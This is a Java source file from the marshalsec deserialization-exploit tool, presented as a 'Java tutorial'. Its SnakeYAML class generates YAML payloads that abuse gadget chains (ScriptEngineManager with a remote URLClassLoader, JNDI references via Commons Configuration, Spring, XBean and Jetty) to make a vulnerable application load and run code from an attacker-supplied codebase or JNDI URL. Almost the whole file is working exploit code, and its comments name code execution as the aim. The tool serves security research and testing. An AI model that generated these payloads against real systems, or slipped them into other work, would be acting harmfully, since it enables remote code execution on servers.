Java tutorial
/* MIT License Copyright (c) 2017 Moritz Bechler Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package marshalsec; import java.net.URL; import java.net.URLClassLoader; import java.util.Collections; import java.util.LinkedHashMap; import java.util.Map; import javax.management.BadAttributeValueExpException; import javax.naming.InitialContext; import javax.naming.Reference; import javax.script.ScriptEngineManager; import org.apache.commons.configuration.ConfigurationMap; import org.apache.commons.configuration.JNDIConfiguration; import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding; import org.apache.xbean.naming.context.WritableContext; import org.eclipse.jetty.plus.jndi.Resource; import org.springframework.beans.factory.config.PropertyPathFactoryBean; import org.springframework.jndi.support.SimpleJndiBeanFactory; import org.yaml.snakeyaml.Yaml; import marshalsec.gadgets.Args; import marshalsec.gadgets.C3P0RefDataSource; import marshalsec.gadgets.C3P0WrapperConnPool; import marshalsec.gadgets.CommonsConfiguration; import marshalsec.gadgets.JdbcRowSet; import marshalsec.gadgets.ResourceGadget; import marshalsec.gadgets.ScriptEngine; import marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor; import marshalsec.gadgets.SpringPropertyPathFactory; import marshalsec.gadgets.XBean; /** * * Not applicable: * - ROME: cannot construct java.lang.Class instance * - ImageIO: cannot construct Method instance, can however still be used to trigger an iterator * * - LazySearchEnumeration: may be possible * * @author mbechler * */ public class SnakeYAML extends YAMLBase implements ScriptEngine, JdbcRowSet, CommonsConfiguration, C3P0RefDataSource, C3P0WrapperConnPool, SpringPropertyPathFactory, SpringAbstractBeanFactoryPointcutAdvisor, XBean, ResourceGadget { /** * {@inheritDoc} * * @see marshalsec.MarshallerBase#marshal(java.lang.Object) */ @Override public String marshal(Object o) throws Exception { Yaml r = new Yaml(); return r.dump(o); } /** * {@inheritDoc} * * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) */ @Override public Object unmarshal(String data) throws Exception { Yaml r = new Yaml(); return r.load(data); } @Override @Args(minArgs = 1, args = { "codebase" }, defaultArgs = { MarshallerBase.defaultCodebase }) public Object makeScriptEngine(UtilFactory uf, String[] args) throws Exception { return writeConstructor(ScriptEngineManager.class, true, writeConstructor(URLClassLoader.class, true, writeArray(writeConstructor(URL.class, true, writeString(args[0]))))); } /** * {@inheritDoc} * * @see marshalsec.gadgets.CommonsConfiguration#makeConfigurationMap(marshalsec.UtilFactory, java.lang.String[]) */ @Override @Args(minArgs = 1, args = { "jndiUrl" }, defaultArgs = { MarshallerBase.defaultJNDIUrl }) public Object makeConfigurationMap(UtilFactory uf, String[] args) throws Exception { return writeSet(writeObject(ConfigurationMap.class, Collections.EMPTY_MAP, 1, writeConstructor(JNDIConfiguration.class, true, writeConstructor(InitialContext.class, true), writeString(args[0])))); } /** * {@inheritDoc} * * @see marshalsec.gadgets.SpringPropertyPathFactory#makePropertyPathFactory(marshalsec.UtilFactory, * java.lang.String[]) */ @Override @Args(minArgs = 1, args = { "jndiUrl" }, defaultArgs = { MarshallerBase.defaultJNDIUrl }) public Object makePropertyPathFactory(UtilFactory uf, String[] args) throws Exception { Map<String, String> properties = new LinkedHashMap<>(); String jndiUrl = args[0]; properties.put("targetBeanName", writeString(jndiUrl)); properties.put("propertyPath", "foo"); properties.put("beanFactory", writeObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(writeString(jndiUrl))), 1)); return writeObject(PropertyPathFactoryBean.class, properties); } /** * {@inheritDoc} * * @see marshalsec.gadgets.XBean#makeXBean(marshalsec.UtilFactory, java.lang.String[]) */ @Override @Args(minArgs = 2, args = { "codebase", "classname" }, defaultArgs = { MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass }) public Object makeXBean(UtilFactory uf, String[] args) throws Exception { // BadAttributeValueExpException constructor as toString trigger return writeConstructor(BadAttributeValueExpException.class, false, writeConstructor(ReadOnlyBinding.class, true, writeString("foo"), writeConstructor(Reference.class, true, "foo", writeString(args[1]), writeString(args[0])), writeConstructor(WritableContext.class, true))); } @Override @Args(minArgs = 2, args = { "codebase", "classname" }, defaultArgs = { MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass }) public Object makeResource(UtilFactory uf, String[] args) throws Exception { return writeArray( // bind to __/obj, this is actually the location where the NamingEntry for 'obj' would be stored // (which now is stored at __/__/obj) writeConstructor(Resource.class, true, writeString("__/obj"), // usual reference setup writeConstructor(Reference.class, true, writeString("foo"), writeString(args[1]), writeString(args[0]))), // rebind compound name subresource // this first tries to rebind the NamingEntry at the compound name __/obj/test // the lookup of the intermediate context __/obj yields the Reference bound before // --> code execution through JNDI factory loading writeConstructor(Resource.class, true, writeString("obj/test"), writeConstructor(Object.class, true))); } @Override protected boolean constructorArgumentsSupported() { return true; } @Override protected String constructorPrefix(boolean inline) { return "!!"; } public static void main(String[] args) { new SnakeYAML().run(args); } }